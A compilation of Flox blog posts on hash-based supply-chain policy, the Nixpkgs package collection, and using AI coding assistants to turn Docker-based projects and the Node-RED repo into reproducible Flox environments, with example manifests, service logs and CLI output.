**remediate** becomes operational: **Prevent**. Admission controllers reject unknown hashes before pods ever schedule. Require both —known label hash and valid Flox hash with clean SBOM. If it's not in the catalog, it doesn't run. **Detect**. CVE correlation runs continuously against every SBOM in the registry. The moment a vulnerability publishes, the fleet registry returns every running instance of an affected hash—in milliseconds, not hours. **Remediate**. CVE remediation becomes a version bump. Change the manifest, lock, push. Every **`flox install`**,or **`flox build/flox publish`** produces new package hashes, every **`flox push`** produces a new environment hash, which can be atomically updated. One package gets updated, the rest pull from the cache. The chain is traceable end-to-end. The old hash becomes automatically unauthorized. Blocked at push, blocked at pull. From **`pkill`** to purged. ## Policy Is Physics SBOMs don't have to be just a regulatory checkbox. Audits don't have to take weeks. Compliance can become a physical property of the environment itself. In the manifest-driven world of declarativity, violating policy is functionally impossible. **Either it complies, or it does not run**. The hash identifies the artifact. The signature proves who built it and when. Together, they make policy enforceable at machine speed—no human in the loop required for the decision, only for the exception. This is the only thing that makes automation trustworthy. ## Green Means Go If an agent can exploit a CVE in minutes from memory, you need AI-assisted defense. But not all CVEs are equal, and not all responses should be automated. The key is building a trust pyramid where _confidence determines who acts_: - **Green (Automated)**: 0 known CVEs or all have VEX "not_affected" status. Safe for autonomous deployment. - **Yellow (Human Review)**: Medium/Low CVEs. Requires justification or assessment to proceed. - **Red (Hard Block)**: Critical CVE or unsigned build. Environment activation disabled by policy. Every decision is a lookup, not a judgment call. The hash is real, the SBOM is accurate, and the fleet registry is current. Automation and agents are executing on math, rather than guessing. **Brakes make the car go fast**. High-fidelity guardrails and strict environmental boundaries aren't restrictions—they're the safety systems that give us the confidence to floor the accelerator. ## What's Next: Agentic Remediation Or at least highly agent-assisted. If agents can correlate CVEs to running infrastructure in seconds, they can certainly also triage tickets. The next question is obvious: can they fix it too? The pieces are already there: - **`flox upgrade openssl`** produces a new locked environment with a new hash - CI signs that hash automatically, YAML is forged - Admission controllers allow/deny on hash - Fleet registry tracks the rollout - Atomic rollback is a pointer swap—seconds, not build **>** test **>** tag **>** push **>** pull > deploy times _N_ iterations on _X_-gig images And after that? **Agentic hot-patching, duh**. An agent with a full audit trail, with automatic rollback if health checks fail. All that. With one eye on the bots, per: Asimov, Cameron et. al. ## We're Not There Yet We’re closer to letting AI drive us to work in our two-ton death machines than we are to leaving an agent alone in a room with private data; only because of brakes and seatbelts and airbags and sensors and cameras and GPS and kill switches and freaking lasers, probably. But we're closer than most people think. The infrastructure for agentic remediation is: - **Input-addressed hashes** as identity primitives—not just integrity, but provenance - **Living SBOMs** derived from the hash—build time is runtime - **Fleet visibility** across every running instance—single source of truth - **Policy automation** that **prevents**, **detects**, and **remediates** on math, not meetings ## Where This Goes Next When attackers can go from CVE **→** exploit in minutes, you need defenses that go from CVE **→** blast radius **→** block/upgrade just as fast. Flox makes it simple to do this. Here’s the **tl;dr** version of what this looks like: - **Create and maintain runtime environments**. These are declarative definitions of packages, automation logic, and services. Flox environments pull hash-pinned dependencies from an immutable store. - **Publish to FloxHub**. This pins an environment to an atomic generation (i.e., version). Each environment gets a deterministic hash and an SBOM that are derived from its complete dependency graph. - **Gate on the hash**. Require an allowlisted **`flox.dev/hash`** annotation and reject blocked hashes. - **Correlate CVEs by hash**. This gives you instant “Where is this running?” insight with zero scanning. Contact us to see Flox in action! ---- #### _[AUTHOR’S NOTE](https://www.linkedin.com/in/jeremyhogan): I use AI for lots of things. Including writing. I use it to organize my thoughts. I use it to check for correctness of content and grammar. It often gives me unsolicited feedback and offers to give me a “punchier” and “more engaging” draft. Sometimes, without a hint of irony, it will ask if it can take pen to draft and _make me sound more human_. This article got flagged as AI. For things _I_ wrote. In a style I've used for decades. It even offered—again without irony—to make me sound…less like me! It's sad that it's come to this. But I now need to add the disclaimer: The ideas and the language in this article are _sui generis_ my own._ Title: Nixpkgs: The Big Recipe Book of Open Source Source: https://flox.dev/blog/nixpkgs-the-big-recipe-book-of-open-source/ Date: 2026-01-03 Category: guide # Nixpkgs: The Big Recipe Book of Open Source A clear guide to Nixpkgs, the world’s largest open-source package collection. Learn how its recipes enable cross-platform builds and community curation. Nixpkgs is just that: the big fat recipe book of all open source. Anybody can view it, fork it, patch it, and use Nix to inspect the largest set of free software recipes in the world. People sometimes focus on Nix the language or Nix the package manager, but it's the Nixpkgs package collection that is core to the success of Nix. But it's more than that: we can also understand Nixpkgs as a powerful tool to ensure the continued growth, transparency, and resilience of open source software, mainly because it democratizes the process of curating this software and its build instructions. It is the living library of the efforts of thousands of contributors, who both stand on the shoulders of giants (the software they're packaging) and provide the ladder for others to climb further. **TL;DR** - Nixpkgs is a massive repository with over 120,000 open-source software recipes. - Nixpkgs supports cross-platform and cross-architecture builds by using unique hashes to ensure precise software dependency management. - Nixpkgs maintains more packages with fewer maintainers by leveraging a common reviewable packaging language. - Flox sources from Nixpkgs, adding semantic versioning and branch tracking for flexible package management. ## Nixpkgs: Packaging universally across architectures Today we package software for independent islands, each with their own formats, rules, languages and, until Nix, we had not found a way to build packages across the runtimes of our software archipelago. Nix allowed for packages being available on more platforms, which drew more developers in, which resulted in Nixpkgs becoming more complete, and so on in a positive feedback loop. [Nix is a cross-platform](https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/), cross-architecture package manager. If we had to design the next-generation package manager, this would probably be at the top of the requirements list, yet few package managers enable this today. Each of the teams at RedHat or Debian maintains their own packaging format and package cache, and has a fixed team of vetted contributors to keep packages secure and up to date. This results in few who effectively contribute to packaging open source projects, and do so for one of many platforms. ## How the Nixpkgs community scales code review An open book of package recipes written in a common language results in another surprising effect: Nixpkgs maintains more packages than anybody with an order of magnitude fewer maintainers ([1](https://www.reddit.com/r/NixOS/comments/zp95a2/so_according_to_repology_nix_has_an_insane_lead/)). It makes sense: since it’s a common language, people can review the packaging code for packages they don’t necessarily know intimately, which [in turn leads to contributors and reviewers](https://flox.dev/blog/contributing-to-nixpkgs/) cycling through updates faster and providing more up-to-date packages, which reinforces the previous feedback loop from earlier. Even if the rest of the Nix ecosystem stalled out, we’d still have this incredible resource in Nixpkgs to curate and share open source software. Flox sources its packages exclusively from Nixpkgs for this (and many other) reasons. As of February 2023, there were around 6,000 contributors on the Nixpkgs repository and growing. Figure: repology via [repology.org](https://repology.org/repositories/graphs) ## How Flox uses Nixpkgs [Flox](https://flox.dev/docs) serves packages from the [Nixpkgs-flox](https://github.com/flox/nixpkgs-flox) repository, which tracks [Nixpkgs](https://github.com/nixOS/nixpkgs) branches directly. We added some functionality we wanted to see and thought others would want: semantic versioning for packages, and custom tracking of unstable, stable, and staging branches, for example. Anybody can take the Nixpkgs collection and suit it to their needs via the Nix language, something that would be far more complex to achieve with other package managers. This ability to have total control over the packages one employs, even across different contexts, provides a flexibility and power that is hard to achieve with traditional package management methods. ## How does the Nix cache work? What happens in practice when I download a package from the Nix cache? When you query for a package, the CLI creates the specification (we call it a _derivation_) of the package to be built. This derivation [includes a hash](https://flox.dev/blog/hash-collision/): the summary identifier of all source code, patches, build flags, and hashes of the dependencies themselves. With that output hash in hand, Nix the package manager just asks whether that path exists in its cache. If it does, Nix fetches the contents of the package you asked for; if it doesn't, Nix will build the package locally. We call this move _substitution_: creating a derivation from a Nixpkgs expression gives you all the information you need about the output of the build, so the cache can substitute a binary with that output hash if it has it. Of course, if you end up having to build the package locally, it will result in the expected output hash anyway. ## The future of cross-platform package management with Flox and Nixpkgs Nixpkgs embodies a new model for package management, and one that opens it up to more people to contribute. Providing cross-platform and cross-language packages is uniquely attractive, but it's the accessibility, flexibility, and transparency that make it a pillar of open source moving forward. Because Nixpkgs unifies a broader swath of software, and makes it easy for anybody to contribute new packages and fix existing ones, it continues to grow and serve the open source community: a positive feedback loop propelling the existence of a more free and open world of software. Ready to experience Nixpkgs for yourself? Download [Flox](https://flox.dev/docs) today! ## FAQs about Nixpkgs and Flox ### What is Nixpkgs and how does it relate to the Nix package manager? Nixpkgs stands for the Nix Packages collection, which serves as a vast repository containing over 120,000 software packages and build instructions. While Nix is the package manager and language used to perform operations, Nixpkgs provides the actual "recipes" or derivations that describe how to build libraries and applications from source. Together, they enable reproducible builds and declarative configuration management across different operating systems. ### How does Nixpkgs handle cross-platform packaging? Unlike traditional package managers that isolate software into platform-specific formats, Nixpkgs is designed to be a cross-platform and cross-architecture solution. It utilizes a unified language to define packages, allowing developers to build and deploy software across various runtimes and architectures without needing separate packaging systems for each. This universality encourages a positive feedback loop where improvements on one platform often benefit the entire ecosystem. ### What is the concept of "substitution" in the Nix build process? When a user requests a package, the system calculates a unique hash based on the package's complete build specification, including source code, dependencies, and configuration flags. Nix checks if a pre-built binary with this specific hash exists in a binary cache. If found, it downloads (substitutes) this binary instead of compiling it locally. This mechanism ensures that users get the exact software described by the recipe while significantly reducing installation time. Title: Reproducible Development Environments in Any Repo with AI Agents and Flox: Part 1 Source: https://flox.dev/blog/reproducible-development-environment-in-any-repo-part-1/ Date: 2025-12-12 Category: guide # Reproducible Development Environments in Any Repo with AI Agents and Flox: Part 1 In just a few seconds or minutes, an AI coding assistant can take any arbitrary repo and define it as a Flox environment that builds, tests, and runs reproducibly anywhere. Flox makes it easy to create portable, reproducible dev environments that run directly on your local laptop. Paired with your preferred AI coding assistant, this can be as simple as prompting the agent: ``` transform this repo into a reproducible Flox environment that runs anywhere ``` The Flox Catalog has millions of package-version combinations, so agents can find and pin the packages they need, including [custom-built software](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/). Flox is a cross-language/toolchain environment manager, so dependencies always run in isolated subshells. In just a few seconds or minutes, an AI coding assistant can take an arbitrary repo and define it as a Flox environment that builds and runs reproducibly anywhere. Even better, once your team has finished building and testing locally, you can [run the same environment](https://flox.dev/docs/man/manifest.toml/#options) in CI or prod—whether on native runners, in containers or VMs, or on serverless platforms. To sum up: - If you’re still building the old-fashioned way, Flox gives you everything you need to work on your own machine, in _your preferred shell_; share what you’ve built with teammates; and ship to CI and prod. You and your team enjoy direct access to files, secrets, env vars, even specialized hardware like GPUs. - If you’re using Copilot CLI, Claude Code, Codex, Gemini CLI, Crush, or any other AI coding assistant, Flox’s MCP server gives an AI agent all the knowledge and context it needs to [work quickly and productively with Flox](https://flox.dev/blog/next-level-agentic-development-with-flox/), then ship to CI or prod. - AI agents can turn any repo into a reproducible Flox environment in minutes, backed by access to millions of historical package versions. Build with Python, Node, C/C++, and more, installing conflicting dependencies—e.g., the latest version of Redpanda built for a new version of **`glibc`**—alongside older packages. This article explores how to “floxify” your repos, either on your own or with an assist from agentic AI tools. ## Floxifying Your Front- and Back-End Let's pretend that your team is experimenting with a tool called “Flox,” software that’s supposed to make it easier to create and share reproducible environments for developing, testing, and deploying software across the entire SDLC. You’re skeptical about this, mostly because your stack, your teams, and your environments are all so different that a single solution covering everything sounds like a reach. Another source of doubt is that whenever you’ve used environment managers or virtualization technologies, each has had major drawbacks. But Flox is powered by [open source Nix](https://nixos.org/guides/how-nix-works/), which you’ve heard of, and which seems intriguing. So maybe there’s something to it? Logging into Jira, you see you’ve been assigned two new tasks: - You’re supposed to “floxify” the Docker Compose file for your org’s front-end dev container; - You’re supposed to “floxify” the Docker Compose file for your org’s back-end dev container. Knowing next to nothing about Flox, you expect to spend the next month building, testing, and debugging virtual environments to see if it comes close delivering on its promise. Sipping a macchiato you picked up on the way into work, you start by reading through [Flox in 5 Minutes](https://flox.dev/docs/flox-5-minutes/), familiarizing yourself with what Flox is and how it works. ### Reproducible Dev Environments without Containers or VMs You discover that Flox delivers reproducibility and isolation without using containers or VMs. This makes sense. A friend who knows Nix once showed you how running `nix-shell` puts you right into a project-specific subshell, with isolated access to specific versions of pre-defined dependencies. Flox builds on this concept, abstracting the nuts-and-bolts of Nix with familiar semantics and an intuitive UX so you can easily run software in subshell environments. With Flox, you can declaratively define _everything_ in your environment: software packages, environment variables, setup and teardown logic, services, even aliases and functions. Flox environments run on your local system, not in hermetically sealed containers or VMs, so you get transparent access to all your files, data, secrets, aliases, environment variables—everything. Interesting. That _should_ make developing and testing locally less of a hassle. Once you discover that Flox plugs right into agentic development workflows with its own MCP server, you're officially intrigued. But there’s gotta be a catch, right? You think about this as (gulping down the rest of your macchiato) you trek over to the office Keurig, pop in a Coconut Mocha Peppermint Spice K-cup latte, and jab the “BREW” button with your index finger. ### Scoping the Project While your cuppa’s compiling, mind turns to Flox. You figure that you can probably just map the runtime dependencies specified in your front-end app’s **`docker-compose.yaml`** file to equivalent packages in the Flox Catalog. Better yet, you think, _you can tell GitHub Copilot_ to do this for you. What prompt will you use, you wonder? "Create a Flox environment to replace this docker-compose.yaml?" Could it be that simple? Maybe it could! Your app gets much of what it needs from **`npm`** at runtime, and you know [Flox has built-in automation](https://flox.dev/blog/using-flox-to-create-portable-reproducible-nodejs-environments/) that bootstraps and installs the Node.js runtime specified in **`package.json`**. A little **`flox search`**-ing showed that you can get other core dependencies—like [playwright](https://github.com/microsoft/playwright), [ngnix](https://github.com/nginx), [jq](https://github.com/jqlang/jq), even the AWS and GitHub CLIs—from the Flox Catalog itself. If _you_ can do that, so can your AI coding assistant. You dash back to your desk, fire up GitHub Copilot CLI, and give it a simple prompt: ``` Reimplement this docker-compose.yaml file as a portable, reproducible Flox environment. ``` In a few seconds, you see the following output scroll past on your screen: ``` [install] nodejs.pkg-path = "nodejs" nodejs.version = "20.18.1" gitFull.pkg-path = "gitFull" gh.pkg-path = "gh" # github cli awscli2.pkg-path = "awscli2" bash.pkg-path = "bash" # standard version of bash curl.pkg-path = "curl" httpie.pkg-path = "httpie" jq.pkg-path = "jq" playwright.pkg-path = "playwright" # for browser automation and end-to-end testing _1password.pkg-path = "_1password" # 1password cli for secrets management ``` You recognize this from [Flox in 5 Minutes](https://flox.dev/docs/flox-5-minutes/) as the **`[install]`** section of Flox’s environment configuration [manifest](https://flox.dev/docs/man/manifest.toml/). Thinking _Cool, this could work_, you head back to the Keurig to wait for it to finish decocting your cup. ### First Insight: No More Multi-Container Runtimes Still waiting for your coffee, you imagine what’s happening back at your workspace. Copilot will likely re-implement any imperative commands or procedural logic expressed in your app’s **`docker-compose.yaml`** in the **`[hook]`** or **`[profile]`** sections of the Flox manifest. It will probably do the same for the global, environment-specific variables currently defined by that app, too: vars like **`NODE_ENV=development`**, **`VITE_API_URL`**, **`DATABASE_URL`**, and **`LOG_LEVEL=debug`**. You recall that the Flox manifest has a section just for these, called **`[vars]`**. In fact, it also has a separate **`[services]`** section. If Copilot truly knows Flox, it will use this to define logic that starts (and, when needed, stops) any runtime services. If services take environment variables of their own, Copilot can simply define these as part of [their declarative definitions](https://flox.dev/docs/concepts/services/). Interesting! This gives you a way to offload the work of starting, stopping or restarting services to Flox itself. Then it hits you: with Flox, you’ll no longer need to worry about defining multi-container runtimes, or configuring service-specific networking, storage, and API endpoints for VMs and containers! Since Flox services run natively on the host, “inside” each subshell, there’s no need to define entry points for initializing containers; rather, your startup and teardown logic _lives in the Flox manifest_, instead of init scripts. Should you you need to create an orchestrated, multi-service runtime, Copilot can easily [compose](https://flox.dev/blog/layering-and-composing-flox-environments/) separate, modular Flox environments—each with its own packages, vars, and/or services—into a single declarative stack you can share and reuse anywhere. Flox’s composition pattern even gives you a way to define modular, service-specific environments—e.g., runtimes for databases (like [PostgreSQL](https://hub.flox.dev/flox/postgres), [MySQL](https://hub.flox.dev/flox/mysql)/[MariaDB](https://hub.flox.dev/floxrox/mariadb), [Redis](https://hub.flox.dev/flox/redis), and others), web and application servers ([nginx]), workflow and job orchestration systems ([Dagster](https://hub.flox.dev/floxrox/dagster), [Airflow](https://hub.flox.dev/floxrox/airflow-stack), [Jenkins](https://hub.flox.dev/floxrox/jenkins), [Prefect](https://hub.flox.dev/floxrox/prefect), [Temporal](https://hub.flox.dev/floxrox/temporal), [NodeRed](https://hub.flox.dev/floxrox/nodered)), LLM runtimes and model servers ([Ollama](https://hub.flox.dev/floxrox/ollama)), streaming or data-processing stacks ([Kafka](https://hub.flox.dev/floxrox/kafka), [Spark](https://hub.flox.dev/floxrox/spark)), and more. You (or Copilot) just need to define them as **`[include]`**-ed environments in the Flox manifest: ``` [include] environments = [ { remote = "floxrox/nodejs-headless" }, { remote = "floxrox/postgres-headless" }, { remote = "floxrox/redis-headless" }, ] ``` The same environment runs locally, in CI, and in prod, so you always ship and run what you’ve built locally. ### Second Insight: AI Agents Grok Flox Back at your workspace, you see Copilot has finished. Crazy! You were gone less than five minutes? Slurping that first savory sip of your Coconut Mocha Peppermint Spice Latte, you run **`flox edit`** to review your AI minion’s work. Everything … seems to be there. The right package dependencies in **`[install]`**, the expected environment variables in **`[vars]`**, a Flox-managed Node.js service, even a helper function! ``` [profile] common = ''' # convenience helper that runs end-to-end tests with playwright app_test_e2e() { cd "$FLOX_ENV_PROJECT" || return 0 if command -v playwright >/dev/null 2>&1; then playwright test "$@" else echo "playwright is not available in this environment" >&2 return 1 fi } # helper to run the app with the same env as the service app_dev() { cd "$FLOX_ENV_PROJECT" || return 0 APP_HOST="${APP_HOST:-0.0.0.0}" \ APP_PORT="${APP_PORT:-3000}" \ NODE_ENV="${NODE_ENV:-development}" \ npm run dev -- --host "$APP_HOST" --port "$APP_PORT" } ''' ``` Amazingly, the Floxified environment actually works on the first try: ``` $ flox activate -s ✅ You are now using the environment 'frontend'. To stop using this environment, type 'exit' $ flox services status NAME STATUS PID frontend Launched 1248234 $ flox services logs frontend > frontend@1.0.0 start > node index.js --host 0.0.0.0 --port 3000 Server running at http://0.0.0.0:3000/ ``` That was fast! But what about testing? You realize most of your unit tests _should_ just work: they import code, call functions, and assert on results, but they don’t care whether they’re running in a container or a Flox subshell. You decide to prompt Copilot to run your test suite, telling it to refactor any tests that don’t pass, and to keep iterating until everything’s green. Then you saunter on back to the Keurig for a fresh Coconut Mocha Peppermint Spice Latte. If you’re lucky, one of your coworkers might even have brought in a box of cronuts. ### Third Insight: Your Runtime Environments Travel with Your Code Standing by the Keurig you have an epiphany: Flox environments live and travel with your projects! You can define both the code for your apps _and their runtime dependencies_ in the same repo. You can even define your test suite’s runtime dependencies in the same Flox environment! This gives you a single, co-located source of truth for versioning, building, testing, and deploying _code plus its runtime dependencies_. As for the Flox environment itself, you remember that it consists of just two artifacts: - A **`manifest.toml`** file that lives in the **`.flox/env`** path inside every Flox project folder; - A **`manifest.lock`** file that lives in **`.flox/env`** and serves as a snapshot of specific versions of runtime dependencies. You’re familiar with **`manifest.toml`**, and you can guess what **[manifest.lock](https://flox.dev/docs/concepts/environments/?h=manifest.lock#manifest-lock-floxenvmanifestlock)** is, but you ask Copilot to describe it to you anyway: ``` The manifest.lock file is a JSON lockfile that pins exact package versions and their Nix store paths for reproducibility across all supported platforms (Linux/macOS, x86_64/aarch64). It contains the resolved manifest configuration along with specific package metadata including derivations, hashes, and system-specific outputs for packages defined in the environment. ``` Flox uses this lockfile to pin dependencies to specific versions, so Flox environments (like Nix shells) always run reproducibly. Right, but how does this actually work? You decide to see if Copilot knows the answer: ``` Flox packages are reproducible because they're built using Nix's deterministic build system, where each package is identified by a cryptographic hash of all its inputs (source code, dependencies, build instructions) and stored in immutable paths like /nix/store/qn26z61kdr1vja62x2l5iif6xmp3wag9-nginx-1.28.0. The manifest.lock captures these exact derivations and commit revisions from nixpkgs, ensuring that the same inputs always produce bit-for-bit identical outputs regardless of when or where the environment is activated. ``` This makes sense. It stands to reason, too, that any change to a package’s build inputs will produce a completely different SHA-256 hash—and result in a different output path in **`/nix/store`**. So if you (or CoPilot) create a Flox environment with pinned versions today, that environment will always use exactly the same software—and, notionally, run exactly the same way—even two, three, or five years from now. You know from experience that this isn’t easily possible with Dockerfiles, which depend on base images that change frequently and dynamically resolve and/or build package versions. Like Nix, Flox gives you a way to decouple runtime definitions from their system context, something that just isn’t possible with containers. ### Fourth Insight: Agentically Lift-and-Shift Existing Repos Back at your workspace with yet another fresh Coconut Mocha Peppermint Spice Latte, you turn to the task of Floxifying the dev container your org uses for its backend services. You reason you’ll once again get most of what you need from **`npm`**, with Flox automatically installing dependencies defined in **`package.json`**. As for other requirements, you’ll define these in the **`[install]`** section of the Flox environment's **`manifest.toml`**. You go back to Copilot CLI and give it a similar prompt: ``` Reimplement this Dockerfile as a Flox environment I can re-use anywhere. ``` This time you watch as Copilot does its thing, finishing the job inside of three minutes. Typing **`flox edit`**, you skim through the Flox environment’s manifest. This is what your Floxified back-end looks like: ``` [install] nodejs.pkg-path = "nodejs" nodejs.version = "20.18.1" redis.pkg-path = "redis" postgresql_16.pkg-path = "postgresql_16" # postgresql instance for backend runtime gitFull.pkg-path = "gitFull" gh.pkg-path = "gh" # github cli bash.pkg-path = "bash" # standard version of bash curl.pkg-path = "curl" jq.pkg-path = "jq" gcc.pkg-path = "gcc" # compiler for gnumake gnumake.pkg-path = "gnumake" _1password.pkg-path = "_1password" # 1password cli for secrets management ``` Cool. The Flox Catalog has the very version of Node.js that you need. Scrolling down, you see that Copilot defined separate service definitions for PostgreSQL, Redis, and Node.js. It might make sense to break these out into modular, service-specific Flox environments so you can reuse them across projects and services. ``` postgres.command = "postgres -D $PGDATA -c unix_socket_directories=$PGHOST -c listen_addresses=$PGHOSTADDR -p $PGPORT" redis.command = "env -u LD_AUDIT redis-server $REDISCONFIG --daemonize no --dir $REDISDATA" nodejs.command = "npm run dev" ``` Copilot also defined required environment variables in the **`[vars]`** section... ``` REDISBIND = "127.0.0.1" REDISPORT = "16379" PGHOSTADDR = "127.0.0.1" PGPORT = "15432" PGUSER = "pguser" PGPASS = "pgpass" PGDATABASE = "pgdb" ``` ...along with bootstrapping logic in **`[hook]`** that automatically initializes, configures, and sets up Redis and PostgreSQL, checking for and creating required data directories and generating config files if missing: ``` [hook] on-activate = ''' export REDISHOME="$FLOX_ENV_CACHE/redis" export REDISDATA="$REDISHOME/data" export REDISCONFIG="$REDISHOME/redis.conf" if [ ! -d "$REDISDATA" ]; then mkdir -p "$REDISDATA" fi cat >$REDISCONFIG < Title: Reproducible Development Environments in Any Repo with AI Agents and Flox: Part 2 Source: https://flox.dev/blog/reproducible-development-environment-in-any-repo-part-2/ Date: 2025-12-12 Category: guide # Reproducible Development Environments in Any Repo with AI Agents and Flox: Part 2 On your own or with an assist from agentic AI, it is shockingly simple to migrate projects into portable, reproducible Flox environments. This article Floxifies two real repos: Node-RED and n8n. On your own or with an assist from agentic AI, it’s [shockingly simple](https://flox.dev/blog/floxifying-a-project-repo-part-1/) to migrate your software projects into portable, reproducible Flox environments. This article tests that hypothesis by attempting to “Floxify” two real public repos: [Node-RED](https://github.com/node-red/node-red) and [n8n](https://github.com/n8n-io/n8n). In the era of agentic AI, is Floxifying these projects as simple as prompting: ``` Turn this repo into a Flox environment so my teammates and I can run it anywhere at any time. Please. ``` The short answer is … Yes, it can! This article walks you through how to Floxify virtually any project/anywhere. It’s actually a complete rewrite of an older article, drafted before Anthropic’s Claude Code, Google’s Gemini CLI, OpenAI’s Codex, and most other GenAI-powered coding agents even existed. Spoiler alert: Today, with an AI assistant doing the work, Floxifying most any project repo takes just a few minutes. But why Floxify _anything_? Let’s count the reasons! - **Reproducibility and auditability**. Floxifying a repo pins its build-time or runtime dependencies, so you (or an AI agent) can always rebuild, run, and debug it in a known-good state—on any machine, at any time. - **Safe, isolated experimentation**. You can clone and run third-party projects without polluting your system Python/Node/Cxx. Everything runs in an isolated Flox environment that you can discard at will. - **Use one environment across the entire SDLC**. The same manifest that powers local dev also defines the runtime for CI jobs, containers, [Uncontained](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/) workloads on Kubernetes, and serverless targets. - **Work on your local machine**. Flox environments run on your local system, not in hermetically sealed containers, so you get directly access to all your files, data, secrets, aliases, and environment variables. - **Platform-optimized packages**. When you run Flox environments on macOS, you get binaries and libraries _optimized for_ macOS. Flox environments are portable/cross-platform by default, running on macOS and Linux (including Windows with WSL2), on x86 and ARM, on CUDA or Apple Metal GPUs. - **Perfect for agentic development**. Flox is a cross-language package + environment manager, so AI coding assistants can fetch everything they need from just one place: the Flox Catalog, which includes both millions of open source package-version combinations and (optionally) your org’s own private software. The best part is that there’s almost no heavy-lifting involved, especially when you’re working with AI agents. Intrigued? Great! Let’s put our hypothesis to the test. ## Floxifying Node-RED We’ll start with [Node-RED](https://nodered.org/), a flow-based development tool useful for wiring together hardware devices, APIs, and services via a browser-based visual editor. For this walkthrough, we’ll use Claude Code. The n8n walkthrough (see below) will use Google Gemini CLI. First let’s fire up Claude Code, in this case by activating a remote FloxHub environment. If we run it with the **`time`** command, we can see how long it takes Claude Code to Floxify this repo. ``` $ time flox activate -r floxrox/claude-code ╭───────────────────────────────────────────────────╮ │ ✻ Welcome to Claude Code! │ │ │ │ /help for help, /status for your current setup │ │ │ │ cwd: /home/daedalus/dev │ ╰───────────────────────────────────────────────────╯ Tips for getting started: Run /init to create a CLAUDE.md file with instructions for Claude ─────────────────────────────────────────────────────────────── > Try "edit to..." ─────────────────────────────────────────────────────────────── ``` You can easily alias this command to the runtime command’s name (e.g., **`claude`**), or as I do, to a mnemonically similar command, like **`klaude`**. The neat thing about remotely activating a FloxHub environment is that you can run it on-demand—i.e., without cloning it to a repo on your local system. ``` > Clone node-red’s GitHub repo and turn it into a Flox environment that my teammates and I can run anywhere at any time. Please. ● I'll help you clone the Node-RED GitHub repository and set it up with a Flox environment for reproducible development across your team. ``` This takes Claude (checks notes) just a few minutes: ``` ● ✅ I've successfully created a Flox environment for Node-RED that you and your teammates can use anywhere. Here's what's been set up: 📁 Location /home/daedalus/dev/test/node-red/ 🚀 Quick Usage cd node-red flox activate # Enter environment & install deps flox services start # Start Node-RED Or run as a service: flox activate -s # Start Node-RED in background Just commit the .flox directory to your repo. Anyone who clones it can run flox activate to get the exact same Node-RED environment - no Docker, no VMs, works on Linux and macOS. The environment is fully tested and Node-RED starts successfully! ``` How long, exactly, did Claude Code elucubrating and prestidigitating this into existence? ``` real 4m06.061s user 1m01.797s sys 0m4.391s ``` Let’s first check the status of the **`node-red`** service to make sure it’s actually running: ``` $ flox services logs node-red Your flow credentials file is encrypted using a system-generated key. If the system-generated key is lost for any reason, your credentials file will not be recoverable, you will have to delete it and re-enter your credentials. You should set your own key using the 'credentialSecret' option in your settings file. Node-RED will then re-encrypt your credentials file using your chosen key the next time you deploy a change. --------------------------------------------------------------------- 9 Dec 15:43:12 - [warn] Encrypted credentials not found 9 Dec 15:43:12 - [info] Server now running at http://127.0.0.1:1880/ 9 Dec 15:43:12 - [info] Starting flows 9 Dec 15:43:12 - [info] Started flows ``` It … looks as if it’s working. Of course the true proof is in the screenshot. Offscreen, while you weren’t paying attention, I had Claude Code whip up a Flox runtime environment that **`git clone`**s Node-RED from its upstream repo, defines all the dependencies required to run it, and bootstraps its initial setup and configuration. To test-drive this environment, you need only run: ``` flox activate -s -r floxrox/nodered-from-source ``` ### A turn-key Node-RED you can run anywhere Rather than cloning the Node-RED GitHub repo and replicating the steps outlined above, you can pull and run a turn-key node-red environment that uses a prebuilt **`node-red`** package from the Flox Catalog. Let’s ask Claude Code to create this for us: ``` create a directory called `node-red-to-go` and install node-red from the flox catalog, as well as bootstrap a portable + reproducible flox node-red environment that my team and i can run anywhere, at any time. ``` Less than 160 seconds later—Claude Code helpfully keeps track of this stuff for us!—it’s finished. ``` ● ✅ node-red-to-go Environment Successfully Created! 10:39:48 [414/1295] Your portable Node-RED environment is ready at /home/daedalus/dev/node-red-to-go. Here's what I've set up: 🎯 What's Included: - Node-RED v4.1.1 installed from Flox catalog - Persistent flow storage in .flox/cache/node-red/ - Auto-generated credential secret for security - Custom settings.js configuration - Helper commands for easy management - Service configuration with logging - Complete documentation and quick start script 🛠 Helper Commands (after flox activate): - nodered-logs - View logs - nodered-url - Show URL - nodered-flows - List saved flows ``` Looks good. Let’s run **`flox edit`** to see what manner of beastie Claude Code created for us: ``` [install] node-red.pkg-path = "node-red" [vars] NODE_RED_PORT = "1880" NODE_RED_USER_DIR = "$FLOX_ENV_CACHE/node-red" [hook] on-activate = ''' mkdir -p "$FLOX_ENV_CACHE/node-red" echo "Node-RED ready. Use: flox activate --start-services" ''' [profile] common = ''' nodered-url() { echo "Node-RED: http://localhost:${NODE_RED_PORT}" } nodered-logs() { tail -f "$FLOX_ENV_CACHE/node-red/node-red.log" } ''' [services] nodered.command = ''' exec node-red \ --port ${NODE_RED_PORT} \ --userDir "$NODE_RED_USER_DIR" \ > "$FLOX_ENV_CACHE/node-red/node-red.log" 2>&1 ''' nodered.is-daemon = true ``` Awwww: Claude thoughtfully configured some helper functions, too, without my so much as asking. You can remotely activate a version of this environment just by running: ``` $ flox activate -s -r floxrox/node-red ``` This version of the Floxified Node-RED environment features a passel of extra amenities, including: - **Encrypted credentials**. Generates a base64-encoded secret on first run and stores it in .flox/cache/.nr-secret for encrypting Node-RED credentials. - **Custom `settings.js`**. Creates a Node-RED configuration file with port, host, credential secret, and optional auth settings. - **Automated log rotation**. Rotates **`current.log`** to numbered backups when it exceeds 10MB, keeping 3 previous logs. - **Port conflict detection**. Uses **`nc`** to check if the configured port is available before starting Node-RED. - **Extra helpers**. Run **`nodered-logs`** to open the current log file in follow mode for real-time updates; **`nodered-install `** to easily install nodes; and **`nodered-port`** to check port availability. Adding these was as simple as telling Claude Code to add missing features to the environment. The **`nodered-install`** helper offers a CLI alternative to the Palette Manager that comes with the WebUI. This thing’s ready for prime time. Once I push it to FloxHub, anyone, anywhere, can run it—at any time. ``` $ flox push ✅ node-red successfully pushed to FloxHub as public View the environment at: https://hub.flox.dev/floxrox/node-red Use this environment from another machine: 'flox activate -r floxrox/node-red' Make a copy of this environment: 'flox pull floxrox/node-red' ``` ## Floxifying n8n Next, let’s use Google’s Gemini CLI with Gemini 2.5 to Floxify [n8n](https://https://n8n.io/), a no-less-neat open-source workflow automation tool that’s hella 